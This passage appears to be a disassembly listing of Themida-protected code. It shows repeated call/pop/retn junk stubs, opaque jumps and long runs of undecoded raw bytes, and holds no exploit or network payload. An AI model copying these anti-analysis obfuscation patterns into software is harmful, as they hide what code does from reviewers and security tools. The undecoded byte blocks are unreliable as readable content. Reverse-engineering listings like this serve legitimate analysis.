arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_58968E	endp

; ---------------------------------------------------------------------------
		push	esp
		cmp	eax, 4B77FDA5h
		inc	dword ptr [ebp+6141AA5h]
		mov	di, si
		or	[ebp+61404ADh],	edx


loc_5896B3:				; CODE XREF: Themida_:0058967Dj
		push	dword ptr [ebp+6141AA5h]
		or	si, 3885h
		call	dword ptr [ebp+6141169h]
		mov	di, 0F2C2h
		xor	[ebp+614111Dh],	edi
		nop
		jmp	loc_5896E7
; ---------------------------------------------------------------------------
		dd 3FA7F371h, 0C64E223Bh, 4746D054h, 82511B3Fh
		db 17h,	6Dh, 69h
; ---------------------------------------------------------------------------


loc_5896E7:				; CODE XREF: Themida_:005896CFj
		push	0
		push	eax
		call	sub_5896F2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5896F2	proc near		; CODE XREF: Themida_:005896EAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5896F2	endp

; ---------------------------------------------------------------------------
		dw 0E11Bh
		dd 0D8DCF92Ah, 7E99133h, 7D000000h, 4EE7E3Ch, 8B66E41Bh
		dd 51006AF2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 6637AFE6h, 9D29F08Bh, 6141505h, 11E9h, 0D843D800h
		dd 5B0824C0h, 54AF8D81h, 0F57F720Bh, 6A71C5h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 88A82DC3h
		dd 92654B8Eh, 6AA1689Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 5FF7C351h, 57006ABFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 5E80D05h, 0AE000000h, 3EFF7E2Fh, 66F38B66h, 0BF5FF88Bh
		dd 287D88E6h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0A0C35545h, 1FEFCFB3h, 899D50Fh, 0F839E936h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C44F00C3h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ecx+ebp*8]
; ---------------------------------------------------------------------------


loc_589817:				; DATA XREF: Themida_:0054B598o
		cmp	al, bh
		mov	eax, ecx
		push	0
		push	ebx
		call	sub_589826
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589826	proc near		; CODE XREF: Themida_:0058981Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_589826	endp

; ---------------------------------------------------------------------------
		leave
		or	[esi-31h], al
		fsubr	dword ptr [ebx+ebp*8+4]
		add	[edx+0], ch
		push	edi
		call	sub_58984D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58984D	proc near		; CODE XREF: Themida_:00589845p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58984D	endp

; ---------------------------------------------------------------------------
		db 1, 6Ch, 0ECh
		dd 448AE17Bh, 0B531831Eh, 6141BFDh, 0F99858Dh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 34FE84C3h, 236542C4h, 9076DE8Ah, 8B27BF66h, 0E1BF6650h
		dd 13E99021h, 9C000000h, 6E620A9Ch, 0A310B152h,	0E6733075h
		dd 18FCA532h, 6A3D09h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 70C35646h, 6BC78142h,	6A6019E8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E8DA75EDh, 6, 14AEA7ACh, 6051EF41h,	0F5E5F61h, 487h
		dd 6CBF6600h, 0F9B70F38h, 0EC0858Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 42944FC3h
		dd 0CD380415h, 3DDBD2Bh, 7E90614h, 63000000h, 29E5C9D6h
		dd 0C08393D5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0E8AF35Eh, 0F902E07h
		dd 81h,	52505000h, 12870Fh, 0DE90000h, 0A3000000h, 0F49F975Dh
		dd 14DBB6F9h, 3EA10E7Ch, 0DE8310Fh, 0BC000000h,	8488EEBAh
		dd 39173E3Fh, 0D6223FDh, 5A5F6160h, 6A9058h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 178BE8C3h
		dd 5EFB8B52h, 7E951h, 6D520000h, 0DF537B6h, 6A5EAAh, 6D3ABE66h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 246C19C3h, 0B6D8E904h, 7195FF74h,	0F06141Ah
		dd 68Ah, 91B58B00h, 0F061407h, 686h, 3DBD8B00h,	8D061426h
		dd 17A8FC9Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 66DD1830h, 8CD1F681h, 6AD3FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 391589C3h, 87C41763h, 68B0Fh, 0BD8B0000h, 6141A11h
		dd 236D85FFh, 8B660614h, 8870FF8h, 51000000h, 2EB9B589h
		dd 0E95E0614h, 79Dh, 0E8h, 0ED815D00h, 6180ECAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 16C35747h, 7983EFC3h
		dd 0F42A12Ah, 0A88h, 5E900h, 0E6350000h, 81CA5FDCh, 141AA5BDh
		dd 7D006h, 89860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0F945C355h,	0B601E485h
		dd 8D0105B3h, 61410A9h,	5EDB58Bh, 9D8B0614h, 6141AF9h
		dd 0E381F78Bh, 100h, 1A19B58Bh,	0DB0B0614h, 0A9850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0BEA343C3h, 0B5BD8B62h, 8306141Ah, 180C5FBDh, 840F0006h
		dd 2Dh,	10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h, 1F07F551h
		dd 9FE9D7h, 0EE90000h, 19000000h, 0C12FF7EAh, 0BBC16901h
		dd 0FE63EACDh, 5F85C799h, 106180Ch, 0F000000h, 481h, 80BE6600h
		dd 73E9CBh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 39985AC3h, 519D0908h, 0F061425h
		dd 68Bh, 81BD2B00h, 0C7061429h,	180C5F85h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 969B90F0h, 55E7EAE9h, 10E9h,	2FF0AE00h, 0EF489720h
		dd 0D055C73Eh, 905D7291h, 0F99D8DCEh, 6A06141Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0CEF1C351h, 9B9BD8Bh, 0B58B0614h, 61418CDh, 0FEFF2381h
		dd 8C0FFFFFh, 18h, 13E9h, 0A4240C00h, 80345AEFh, 6A907979h
		dd 0BAD76379h, 0D9A4AE77h, 66DB8C66h, 0C3F6F88Bh, 21840F04h
		dd 8B000000h, 4595FFF8h, 0B06142Eh, 1425D9B5h, 7E85006h
		dd 9F000000h, 90BA66B9h, 895E3AE5h, 0F18B2404h,	3D4E9h
		dd 0CCF68100h, 0B03FBA2Fh, 6A70E600h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E4E2C350h
		dd 52006A71h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 980B8ADEh, 0F442620h, 9E9D8B6h, 0D4000000h
		dd 0C03F46F8h, 92B06C45h, 9DBD0B56h, 5F06142Bh,	6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 59FAF1D5h, 47AF34Eh,	840F4877h, 5, 0FEB1FCBEh, 6AC38B33h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 7141C352h, 31E6BEDCh, 0E8C15F6Dh,	55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0CDC2A6E8h, 234F350Bh, 95893AB4h, 6141C9Dh, 89E2F766h
		dd 142D09BDh, 6AD82B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0DFDCC351h,	1F66C498h
		dd 89ADEB7Ch, 1416858Dh, 0C5958906h, 50061434h,	66241C89h
		dd 48EFE781h, 1AA5B5FFh, 81600614h, 3172C5C6h, 0E6B96663h
		dd 95FF617Dh, 6141169h,	2D398509h, 0B00614h, 6A70E6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7F61D8C3h, 22C0E681h, 0BD892B08h, 61418CDh, 800F71E4h
		dd 3, 81F08B66h, 0CDE34D7h, 0F613C36h, 24083h, 0D8B60F00h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 32C35242h
		dd 61BD2930h, 0BA061421h, 6, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 17C35040h, 72018841h, 0C38BD66Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 55C35040h
		dd 0A86EF82Ch, 0BD9D8933h, 0C1061425h, 6A04E8h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 88F76DC3h, 66A81267h, 0B58BE2F7h, 6141C11h, 6AD82Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 860F89C3h, 6, 1AE9B589h, 66580614h, 0E9994DBFh, 0Bh
		dd 55F710E5h, 0C6234100h, 2BC29E97h, 56880FD8h,	0F000001h
		dd 8Eh,	7B900h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0F4648C3h, 1089B58Bh
		dd 0C1830614h, 39B58B00h, 3B06140Fh, 16860FD9h,	6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0B768C357h, 50BD6F34h, 47DCEE86h,	0F6D98C66h
		dd 840F04C1h, 0DDh, 95FFF88Bh, 6142E45h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 13C35646h, 728CBA6Ah
		dd 66ACF80Ah, 0BD03F18Bh, 6141A91h, 0FE95Bh, 36DE0000h
		dd 0AC908B13h, 2AF54234h, 0C51D4835h, 6AC32BE9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 36CBC357h, 0C0DE8CC6h, 89B718EAh, 14265985h,	8343D06h
		dd 860F0000h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F5C35343h, 7F6F06D1h, 0F0979828h, 0F7B70F3Eh
		dd 38E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 9E127515h, 1C718157h, 6E9399Eh, 61000000h
		dd 6B1C0C36h, 89C08BFFh, 142EE18Dh, 8BC38B06h, 71BD89D8h
		dd 0BF061406h, 667CE169h, 20B585C7h, 139D0614h,	0C08B7E91h
		dd 1AA5BD81h, 7D00614h,	850F0000h, 52h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 2FC35242h, 0AD858B60h
		dd 6106140Bh, 1AA585FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 304CC3h, 0DDA731D2h
		dd 0AC6CBF84h, 0B5FF6615h, 6141AA5h, 0DE8h, 1D5EB100h
		dd 0F80B2A8Bh, 77D4F147h, 0BE66BA18h, 0FF5F77CEh, 14116995h
		dd 38D0F06h, 66000000h,	6690FB8Bh, 8B9FB7BFh, 140BF1BDh
		dd 2DE9BF06h, 0BF0F6C45h, 0E78166FEh, 6AAC0Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 29C6C3C3h, 1419A5BDh, 0F88B6606h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 44C35646h, 519589D5h, 66061409h
		dd 0B38CE81h, 0F81BD8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BEA77EC3h, 0C879B32h
		dd 0FCF7B70Fh, 56006AF5h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 13F33D42h, 0D5B52B56h
		dd 0BF06141Ah, 0ED0491Fh, 18E9BD09h, 0BF0F0614h, 21BD8BF3h
		dd 8906140Fh, 142AA995h, 840FF506h, 0Ch, 2B05BD8Bh, 8D890614h
		dd 61408E9h, 12E9h, 0D7BFD500h,	231420F6h, 0F971D46Bh
		dd 0AF12CC09h, 95E8AA3h, 1425CDB5h, 0F86EE906h,	0BD8BFFFFh
		dd 6141075h, 7E52E1BEh
; ---------------------------------------------------------------------------


loc_58A240:				; DATA XREF: Themida_:00549588o
		jg	short loc_58A2A2
		push	0
		push	ebx
		call	sub_58A24D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A24D	proc near		; CODE XREF: Themida_:0058A245p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_58A24D	endp

; ---------------------------------------------------------------------------
		db 50h,	0A9h, 0FBh
; ---------------------------------------------------------------------------
		jmp	loc_58A273
; ---------------------------------------------------------------------------
		db 1Ah,	37h, 29h
		dd 0D77ED777h, 83941EAFh
		db 8Ch,	0C5h, 22h
; ---------------------------------------------------------------------------


loc_58A273:				; CODE XREF: Themida_:0058A260j
		mov	ecx, 0FFFFFFFEh
		push	0
		push	esi
		call	sub_58A283
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A283	proc near		; CODE XREF: Themida_:0058A27Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58A283	endp

; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B4AAFE3h, 0B58B9CA9h, 61431C1h
		db 21h,	8Dh
; ---------------------------------------------------------------------------


loc_58A2A2:				; CODE XREF: Themida_:loc_58A240j
		jnz	short near ptr loc_58A2BD+2
		adc	al, 6
		pusha
		mov	ebx, [ebp+6140791h]
		mov	edx, [ebp+6142C7Dh]
		popa
		and	[ebp+6140531h],	ecx
		push	0
		push	ebx


loc_58A2BD:				; CODE XREF: Themida_:loc_58A2A2j
		call	sub_58A2C5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A2C5	proc near		; CODE XREF: Themida_:loc_58A2BDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_58A2C5	endp

; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		xor	ax, 7933h
		pop	esi
		mov	bx, 0D618h
		mov	ecx, [ebp+6141B75h]
		mov	edx, 3D284864h
		and	ecx, 1
		jnz	loc_58A2FB
		mov	esi, [ebp+614230Dh]


loc_58A2FB:				; CODE XREF: Themida_:0058A2EFj
		mov	ecx, [ebp+6140531h]
		push	0
		push	eax
		call	sub_58A30C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A30C	proc near		; CODE XREF: Themida_:0058A304p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58A30C	endp

; ---------------------------------------------------------------------------
		pusha
		mov	ebx, [ebp+61422D5h]
		sub	[ebp+614100Dh],	ecx
		and	ecx, 1
		jnz	loc_58A357
		push	0
		push	edx
		call	sub_58A33D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A33D	proc near		; CODE XREF: Themida_:0058A335p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58A33D	endp

; ---------------------------------------------------------------------------
		db 0FCh, 0, 2Eh
		dd 0CDD0A128h
; ---------------------------------------------------------------------------
		and	[ecx-44h], esi


loc_58A357:				; CODE XREF: Themida_:0058A32Cj
		popa
		pusha
		push	0
		push	edi
		call	sub_58A364
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A364	proc near		; CODE XREF: Themida_:0058A35Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_58A364	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		shl	byte ptr [edi+5Ah], 3Ch
		or	dx, 223Fh
		jmp	loc_58A38E
; ---------------------------------------------------------------------------
		db 3Ah
		dd 0CABB3872h, 0A38E909Dh
		db 0DBh, 83h
; ---------------------------------------------------------------------------


loc_58A38E:				; CODE XREF: Themida_:0058A37Ej
		mov	ecx, 0FFFFFFFEh
		push	0
		push	edx
		call	sub_58A39E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A39E	proc near		; CODE XREF: Themida_:0058A396p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58A39E	endp

; ---------------------------------------------------------------------------
		dw 798Fh
; ---------------------------------------------------------------------------
		fisub	word ptr [esi-75h]
		xlat
		and	[ebp+6141AC9h],	ecx
		push	0
		push	ebp
		call	sub_58A3C5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A3C5	proc near		; CODE XREF: Themida_:0058A3BDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_58A3C5	endp

; ---------------------------------------------------------------------------
		db 0A0h, 30h, 74h
; ---------------------------------------------------------------------------
		mov	ax, 2A9Dh
		and	[ebp+6140E2Dh],	ecx
		push	0
		push	eax
		call	sub_58A3ED
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A3ED	proc near		; CODE XREF: Themida_:0058A3E5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58A3ED	endp

; ---------------------------------------------------------------------------
		db 66h,	70h, 0A5h
; ---------------------------------------------------------------------------
		mov	dl, 90h
		sub	eax, 6DD7BF66h
		mov	ecx, [ebp+6141AC9h]
		push	0
		push	eax
		call	sub_58A418
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A418	proc near		; CODE XREF: Themida_:0058A410p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58A418	endp

; ---------------------------------------------------------------------------
		push	esi
		and	ecx, 1
		jnz	loc_58A453
		push	0
		push	ecx
		call	sub_58A43D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A43D	proc near		; CODE XREF: Themida_:0058A435p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58A43D	endp

; ---------------------------------------------------------------------------
		db 8Eh,	0CDh, 7Fh
; ---------------------------------------------------------------------------
		mov	dx, cx


loc_58A453:				; CODE XREF: Themida_:0058A42Cj
		mov	ecx, [ebp+6140E2Dh]
		xor	[ebp+61430E9h],	ebx
		and	ecx, 1
		jnz	loc_58A46E
		mov	edi, [ebp+6140BF5h]


loc_58A46E:				; CODE XREF: Themida_:0058A462j
		popa
		pusha
		push	0
		push	eax
		call	sub_58A47B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A47B	proc near		; CODE XREF: Themida_:0058A473p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_58A47B	endp

; ---------------------------------------------------------------------------
		xchg	bl, [ebp+6D3D4CB4h]
		mov	dword ptr [edx-7FF0BFCCh], 6
		sub	edi, [ebp+61405EDh]
		mov	ecx, 0FFFFFFFEh
		mov	eax, [ebp+614156Dh]
		and	[ebp+6141AF9h],	ecx
		jns	loc_58A4BE
		mov	[ebp+61430A5h],	ecx


loc_58A4BE:				; CODE XREF: Themida_:0058A4B2j
		and	[ebp+6142A05h],	ecx
		mov	si, 0EA13h
		mov	ecx, [ebp+6141AF9h]
		push	0
		push	eax
		call	sub_58A4D9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A4D9	proc near		; CODE XREF: Themida_:0058A4D1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58A4D9	endp

; ---------------------------------------------------------------------------
		db 94h,	30h, 58h
		dd 839A2174h, 850F01E1h, 0Ch, 249BD8Bh,	0DA810614h, 77C304F9h
		dd 2A058D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 170BD7C3h, 9493237Ch, 73BE0026h
		dd 600AE4ECh, 14B18D33h, 8B600614h, 140A5185h, 11E906h
		dd 44960000h, 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 6143484Bh
		dd 1E18361h, 2C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0A740BC3h, 0CE16D42Ah
		dd 16C58D89h, 0BE660614h, 6061A130h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EAC35242h,	445C6FEDh, 0E1186478h
		dd 14E809h, 0B6DC0000h,	0C9A0FF60h, 0DFE6FDFh, 6D734DA5h
		dd 0A8D650ADh, 0B70F578Bh, 0FEB95EFFh, 8BFFFFFFh, 1400D995h
		dd 0D0DF8106h, 21238441h, 1402318Dh, 0CE906h, 0BEEB0000h
		dd 0DBA0217Ah, 0F1C840AEh, 9D292F77h, 6141595h,	20B58D21h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F9448BC3h, 8D8BF5E6h, 6140231h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 0D0EC93DBh
		dd 0B6C6106Eh, 89FE8B66h, 140315B5h, 1E18306h, 6850Fh
		dd 958B0000h, 614038Dh,	20B58D8Bh, 8E90614h, 9B000000h
		dd 238AE67Bh, 83B99C41h, 850F01E1h, 22h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 24C35747h, 8B60C6E4h
		dd 606161CEh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	0C3C35242h, 0C198D89h, 85C70614h, 6141AA5h, 7D0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h
		dd 4665B79Fh, 31606042h, 140D5D9Dh, 8A0F06h, 61000000h
		dd 0AE9h, 0D6F65500h, 4F12ACC6h, 61505446h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 7FB03B06h, 5959589h,	7EB0614h, 0E99D61h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 9E97C356h, 0A65595C2h, 46DF8015h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0B7C7C0B1h
		dd 14507B9Dh, 0C18BCA8Ah
; ---------------------------------------------------------------------------
		jmp	short loc_58A7E1
; ---------------------------------------------------------------------------
word_58A792	dw 1C8Fh		; DATA XREF: Themida_:0054B524o
					; Themida_:0054BB98o
		dd 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h, 0E45C5Ch, 0F53134CEh
		dd 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h
		dd 47776B00h, 0A3EA1A00h, 0D5h,	0CB199C00h, 490000FEh
		dd 0FBFEh, 0DDB48700h, 0D9202352h, 0E7339C9Eh
		db 77h
; ---------------------------------------------------------------------------


loc_58A7E1:				; CODE XREF: Themida_:0058A790j
		jmp	loc_58BA95
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+6141B71h]


loc_58A7EC:				; DATA XREF: Themida_:0054B81Co
		cmp	dword ptr [ebp+61412CDh], 0
		jnz	loc_58A836
		mov	eax, 0
		mov	edi, [ebp+614033Dh]
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58A812
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A812	proc near		; CODE XREF: Themida_:0058A80Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_58A812	endp

; ---------------------------------------------------------------------------
		add	al, 0Dh
		retn
; ---------------------------------------------------------------------------
		sub	al, 0AEh
		jmp	loc_58A836
; ---------------------------------------------------------------------------
		shr	bl, 81h
		mov	ebp, 602C7D02h
		aad	14h


loc_58A836:				; CODE XREF: Themida_:0058A7F3j
					; Themida_:0058A827j
		mov	eax, eax
		mov	[ebp+61422DDh],	ecx
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_58A850
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_58A863


loc_58A850:				; CODE XREF: Themida_:0058A845j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+616B50Eh]
		call	ebx
		pop	ebx
		pop	eax


loc_58A863:				; CODE XREF: Themida_:0058A84Ej
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_58A87D
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+616B45Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_58A87D:				; CODE XREF: Themida_:0058A86Aj
		push	0
		push	esi
		call	sub_58A888
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A888	proc near		; CODE XREF: Themida_:0058A880p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58A888	endp

; ---------------------------------------------------------------------------
		lahf
		stosd
		cdq
		push	ss
		mov	ecx, 89F8C15Fh
		test	esp, ecx
		xor	[esi+eax], dl
		mov	eax, eax
		mov	dx, 4F8h
		lea	eax, [ebp+6181BF6h]
		mov	edx, [ebp+6141BD9h]
		push	eax
		ja	loc_58A8C3
		push	edi
		mov	edx, edi
		pop	edi


loc_58A8C3:				; CODE XREF: Themida_:0058A8B9j
		mov	[esp], eax
		mov	[ebp+6141B5Dh],	edx
		lea	eax, [ebp+6181BB3h]
		adc	edx, 5E0C76C4h
		push	eax
		mov	edx, 6EC5D61Ch
		mov	[esp], eax
		pusha
		mov	edx, 2DF8D907h
		mov	edx, [ebp+61418F5h]
		popa
		mov	[ebp+6142E35h],	ebx
		call	dword ptr [ebp+614096Dh]
		push	0
		push	eax
		call	sub_58A905
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A905	proc near		; CODE XREF: Themida_:0058A8FDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58A905	endp

; ---------------------------------------------------------------------------
		dec	ebp
		sal	dword ptr [esi-746892F3h], cl
		inc	esp
		and	al, 4
		pusha
		mov	ebx, [ebp+61422DDh]
		sub	[ebp+61423BDh],	edi
		popa
		mov	[ebp+6181BDEh],	eax
		push	0
		push	edx
		call	sub_58A93E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A93E	proc near		; CODE XREF: Themida_:0058A936p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58A93E	endp

; ---------------------------------------------------------------------------
		dec	ebp
		adc	al, 0FEh
		inc	esp
		retn	850Fh
; ---------------------------------------------------------------------------
		db 8, 2	dup(0)
		dd 8D896000h, 61418B9h,	24448B61h, 4D958B08h, 8B061419h
		dd 140071BDh, 0F2858906h, 0F06181Bh, 288h, 83EC8A00h, 14197DBDh
